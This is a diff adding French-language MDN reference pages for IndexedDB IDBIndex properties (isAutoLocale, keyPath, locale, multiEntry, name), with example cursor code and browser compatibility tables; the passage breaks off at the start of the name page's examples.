+    {{CompatChrome(24.0)}}</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>count()</code></td>
+   <td>{{CompatChrome(23.0)}}</td>
+   <td>{{ CompatGeckoDesktop("22.0") }}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td><code>getAll()</code> et <code>getAllKeys()</code></td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{ CompatGeckoDesktop("24.0") }}<br>
+    behind <code>dom.indexedDB.experimental</code>  pref</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isAutoLocale</code> et <code>locale</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>
+    <p>{{CompatGeckoDesktop("43.0")}}<br>
+     behind <code>dom.indexedDB.experimental</code>  pref</p>
+   </td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("22.0") }}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>count()</code></td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("22.0") }}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getAll()</code> et <code>getAllKeys()</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+   <td>{{ CompatGeckoMobile("24.0") }}<br>
+    avec <code>dom.indexedDB.experimental</code>  activer</td>
+   <td>1.1 avec<br>
+    <code>dom.indexedDB.experimental</code>  avtivé</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(48.0)}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isAutoLocale</code> et <code>locale</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo()}}</td>
+   <td>{{CompatGeckoMobile("43.0")}}<br>
+    avec <code>dom.indexedDB.experimental</code>  activé</td>
+   <td>2.5<br>
+    avec <code>dom.indexedDB.experimental</code>  activé</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">voir l'exemple en direct</a>.)</li>
+</ul>
+</div>
diff --git a/files/fr/web/api/idbindex/isautolocale/index.html b/files/fr/web/api/idbindex/isautolocale/index.html
new file mode 100644
index 0000000000..330dde93b9
--- /dev/null
+++ b/files/fr/web/api/idbindex/isautolocale/index.html
@@ -0,0 +1,81 @@
+---
+title: IDBIndex.isAutoLocale
+slug: Web/API/IDBIndex/isAutoLocale
+tags:
+  - API
+  - Experimental
+  - IDBIndex
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBIndex/isAutoLocale
+---
+<div>{{APIRef("IndexedDB")}}{{SeeCompatTable}}</div>
+
+<p>La propriété en lecture seule <strong><code>isAutoLocale</code></strong>, rattachée à l'interface {{domxref("IDBIndex")}}, est un booléen qui indique si la valeur <code>locale</code> de l'index vaut <code>auto</code> (cf. <a href="/fr/docs/Web/API/IDBObjectStore/createIndex#Paramètres">les paramètres optionnels de <code>createIndex()</code></a>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var monIndex = objectStore.index('index');
+console.log(monIndex.isAutoLocale);</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un booléen.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on ouvre une transaction et un magasin d'objet puis on récupère l'index <code>lName</code> depuis une base de données de contact. Ensuite, on ouvre un curseur simple sur l'index grâce à la méthode {{domxref("IDBIndex.openCursor")}} — cela fonctionne comme si on avait directement ouvert un curseur sur un magasin d'objet avec {{domxref("IDBObjectStore.openCursor")}} mais ici les enregistrements sont triés selon l'index et pas selon la clé primaire.</p>
+
+<p>La valeur <code>isAutoLocale</code> est affichée dans la console.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  console.log(myIndex.isAutoLocale);
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Les éléments ont été affichés.');
+    }
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Actuellement, cette propriété ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.IDBIndex.isAutoLocale")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/keypath/index.html b/files/fr/web/api/idbindex/keypath/index.html
new file mode 100644
index 0000000000..e2d289cfd0
--- /dev/null
+++ b/files/fr/web/api/idbindex/keypath/index.html
@@ -0,0 +1,165 @@
+---
+title: IDBIndex.keyPath
+slug: Web/API/IDBIndex/keyPath
+translation_of: Web/API/IDBIndex/keyPath
+---
+<p>{{ APIRef("IndexedDB") }}</p>
+
+<div>
+<p>La propriété <strong><code>keyPath</code></strong> de l'interface {{domxref("IDBIndex")}} renvoie le <a href="/fr/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB#gloss_keypath" title="en/IndexedDB#gloss key path">chemin de clé</a> de l'index. Si l'index n'est pas <a href="https://developer.mozilla.org/fr/IndexedDB/Index#gloss_auto-populated" title="en/IndexedDB/Index#gloss auto-populated">automatiquement mise à jour</a> la propriété vaux <code>null</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var keyPath = myIndex.keyPath</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Tous types de valeur pouvant être utilisés comme chemin de clé.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant on ouvre une transaction puis un magasin d'objet et enfin l'index <code>lName</code>.</p>
+
+<p>Le chemin de clé de l'index est affiché sur la console (ici: <code>lName</code>).</p>
+
+<p>Finalement, On itère sur tous les enregistrements pour en insérer les données dans un tableau HTML. En utilisant la méthode {{domxref("IDBIndex.openCursor")}} qui travaille de la même façon que la méthode {{domxref("IDBObjectStore.openCursor")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d'objet sauf que les enregistrements sont renvoyés dans l'ordre de l'index et non celui du magasin d'objet.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+
+  //ouvre un transaction
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  //accés au magasin d'objet
+  var objectStore = transaction.objectStore('contactsList');
+
+  //on récupère l'index
+  var myIndex = objectStore.index('lName');
+  //on affiche le chemin de clé de l'index sur la console
+  console.log(myIndex.keyPath);
+
+  //un curseur qui itère sur l'index
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Tous les enregistrements ont été affichés.');
+    }
+  };
+};</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-keyPath', 'keyPath')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, en partie</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Disponible dans workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/locale/index.html b/files/fr/web/api/idbindex/locale/index.html
new file mode 100644
index 0000000000..722e8e547d
--- /dev/null
+++ b/files/fr/web/api/idbindex/locale/index.html
@@ -0,0 +1,133 @@
+---
+title: IDBIndex.locale
+slug: Web/API/IDBIndex/locale
+translation_of: Web/API/IDBIndex/locale
+---
+<div>{{APIRef("IndexedDB")}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>locale</code></strong> de l'interface {{domxref("IDBIndex")}} renvoie la localisation de l'index (par exemple fr, ou <code>en-US</code>) <code>si la localisation à été spécifie lors de la mise en place de l'index</code> (voir les paramètres {{domxref("IDBObjectStore.createIndex")}}).</p>
+
+<p>{{note("Cette propriété renvoie la localisation utilisé par l'index. En d'autres termes, elle ne renverras jamais 'auto'.")}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var indexLocalisation = myIndex.locale;</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une {{domxref("DOMString","chaîne de caractère")}} représentant la localisation courante de l'index.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple suivant on ouvre une transaction puis un magasin d'objet et enfin l'index <code>lName</code>.</p>
+
+<p>La valeur de la propriété <code>Locale</code> est affichée sur la console.</p>
+
+<p>Finalement, On itère sur tous les enregistrements pour en insérer les données dans un tableau HTML. En utilisant la méthode {{domxref("IDBIndex.openCursor")}} qui travaille de la même façon que la méthode {{domxref("IDBObjectStore.openCursor")}} de l'{{domxref("IDBObjectStore","accès")}} au magasin d'objet sauf que les enregistrements sont renvoyés dans l'ordre de l'index et non celui du magasin d'objet.</p>
+
+<pre class="brush:js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+
+  //ouvre un transaction
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  //accés au magasin d'objet
+  var objectStore = transaction.objectStore('contactsList');
+
+  //on récupère l'index
+  var myIndex = objectStore.index('lName');
+  //on affiche la propriété locale sur la console
+  console.log(myIndex.locale);
+
+  //un curseur qui itère sur l'index
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Tous les enregistrements ont été affichés.');
+    }
+  };
+};</pre>
+
+<p class="note">Pour un exemple de travail complet, voir notre <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>).</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait actuellement partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("43.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("43.0")}}<sup>[1]</sup></td>
+   <td>2.5<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Pour accédé à cette fonctionnalité il faut activé <code>dom.indexedDB.experimental</code> dans <code>about:config</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("IndexedDB_API.Using_IndexedDB","Utiliser IndexedDB")}}</li>
+ <li>{{domxref("IDBDatabase","Débuter une connexion")}}</li>
+ <li>{{domxref("IDBTransaction","Utilisé les transactions")}}</li>
+ <li>{{domxref("IDBKeyRange","Définir l'intervalle des clés")}}</li>
+ <li>{{domxref("IDBObjectStore","Accès aux magasins d'objets")}}</li>
+ <li>{{domxref("IDBCursor","Utiliser les curseur")}}</li>
+ <li>Exemple de référence: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/multientry/index.html b/files/fr/web/api/idbindex/multientry/index.html
new file mode 100644
index 0000000000..75ab4b0a93
--- /dev/null
+++ b/files/fr/web/api/idbindex/multientry/index.html
@@ -0,0 +1,167 @@
+---
+title: IDBIndex.multiEntry
+slug: Web/API/IDBIndex/multiEntry
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBIndex/multiEntry
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>multiEntry</code></strong>, rattachée à l'interface {{domxref("IDBIndex")}}, est un booléen qui indique le comportement de l'index lorsque le résultat de l'évaluation d'un chemin de clé renvoie un tableau.</p>
+
+<p>Ce comportement est paramétré au moment où l'index est créé avec la méthode {{domxref("IDBObjectStore.createIndex")}}. Cette méthode permet d'utiliser un paramètre facultatif <code>options</code> pour définir la propriété <code>multiEntry</code> avec <code>true</code>/<code>false</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var monIndex = objectStore.index('index');
+console.log(monIndex.multiEntry);</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un booléen. S'il vaut <code>true</code>, cela signifie qu'il y a autant d'enregistrement que de valeurs dans le tableau renvoyé lors de l'évaluation du chemin (les clés des enregistrements sont les valeurs du tableau). S'il vaut <code>false</code>, cela signifie qu'il n'y aura qu'un seul enregistrement ajouté et que la clé sera le tableau.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on ouvre une transaction sur un magasin d'objets et on récupère l'index <code>lName</code> depuis la base de données des contacts. Ensuite, on ouvre un curseur simple sur l'index grâce à la méthode {{domxref("IDBIndex.openCursor")}} (cela fonctionne comme si on avait directement ouvert un curseur sur le magasin d'objets avec {{domxref("IDBObjectStore.openCursor")}} mais les enregistrements sont ici renvoyés en étant triés selon l'index et non selon la clé primaire.</p>
+
+<p>La propriété <code>multiEntry</code> est affichée dans la console. Dans cet exemple, elle a la valeur <code>false</code>.</p>
+
+<p>Enfin, on parcourt chacun des enregistrements pour insérer les données dans un tableau HTML. Pour consulter un exemple complet, vous pouvez vous référer à <a href="https://github.com/mdn/IDBIndex-example">notre dépôt IDBIndex-example</a> (<a href="https://mdn.github.io/IDBIndex-example/">voir également la démo <em>live</em></a>).</p>
+
+<pre class="brush: js">function displayDataByIndex() {
+  tableEntry.innerHTML = '';
+  var transaction = db.transaction(['contactsList'], 'readonly');
+  var objectStore = transaction.objectStore('contactsList');
+
+  var myIndex = objectStore.index('lName');
+  console.log(myIndex.multiEntry);
+
+  myIndex.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var tableRow = document.createElement('tr');
+      tableRow.innerHTML =   '&lt;td&gt;' + cursor.value.id + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.lName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.fName + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.jTitle + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.eMail + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;'
+                           + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;';
+      tableEntry.appendChild(tableRow);
+
+      cursor.continue();
+    } else {
+      console.log('Les éléments ont été affichés.');
+    }
+  };
+};</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#widl-IDBIndex-multiEntry', 'multiEntry')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Webview Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome pour Android</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>4.4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Disponible dans les <em>web workers</em></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/API_IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a></li>
+ <li>Initier une connexion : {{domxref("IDBDatabase")}}</li>
+ <li>Utiliser les transactions : {{domxref("IDBTransaction")}}</li>
+ <li>Définir un intervalle de clés : {{domxref("IDBKeyRange")}}</li>
+ <li>Récupérer et modifier les données : {{domxref("IDBObjectStore")}}</li>
+ <li>Utiliser les curseurs {{domxref("IDBCursor")}}</li>
+ <li>Exemple de référence : <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">exemple <em>live</em></a>).</li>
+</ul>
diff --git a/files/fr/web/api/idbindex/name/index.html b/files/fr/web/api/idbindex/name/index.html
new file mode 100644
index 0000000000..006d141ffa
--- /dev/null
+++ b/files/fr/web/api/idbindex/name/index.html
@@ -0,0 +1,208 @@
+---
+title: IDBIndex.name
+slug: Web/API/IDBIndex/name
+tags:
+  - API
+  - IDBIndex
+  - IndexedDB
+  - Propriété
+  - Reference
+translation_of: Web/API/IDBIndex/name
+---
+<div>{{APIRef("IndexedDB")}}</div>
+
+<p>La propriété <strong><code>name</code></strong>, rattachée à l'interface {{domxref("IDBIndex")}}, contient une chaîne de caractères qui permet de désigner l'index courant.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>indexName</em> = <em>IDBIndex</em>.name;
+<em>IDBIndex</em>.name = <em>indexName</em>;</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères qui fournit le nom à l'index.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Différentes exceptions peuvent être déclenchées lorsqu'on souhaite modifier le nom d'un index.</p>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>L'index ou le magasin d'objets a été supprimé ou la transaction courante n'est pas une transaction de montée de niveau. Le renommage des index est uniquement possible lors des transactions de montée de niveau (c'est-à-dire quand le mode de la transaction est <code>"versionchange"</code>).</dd>
+ <dt><code>TransactionInactiveError</code></dt>
+ <dd>La transaction courante n'est pas active.</dd>
+ <dt><code>ConstraintError</code></dt>
+ <dd>Il existe déjà un index avec ce nom.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
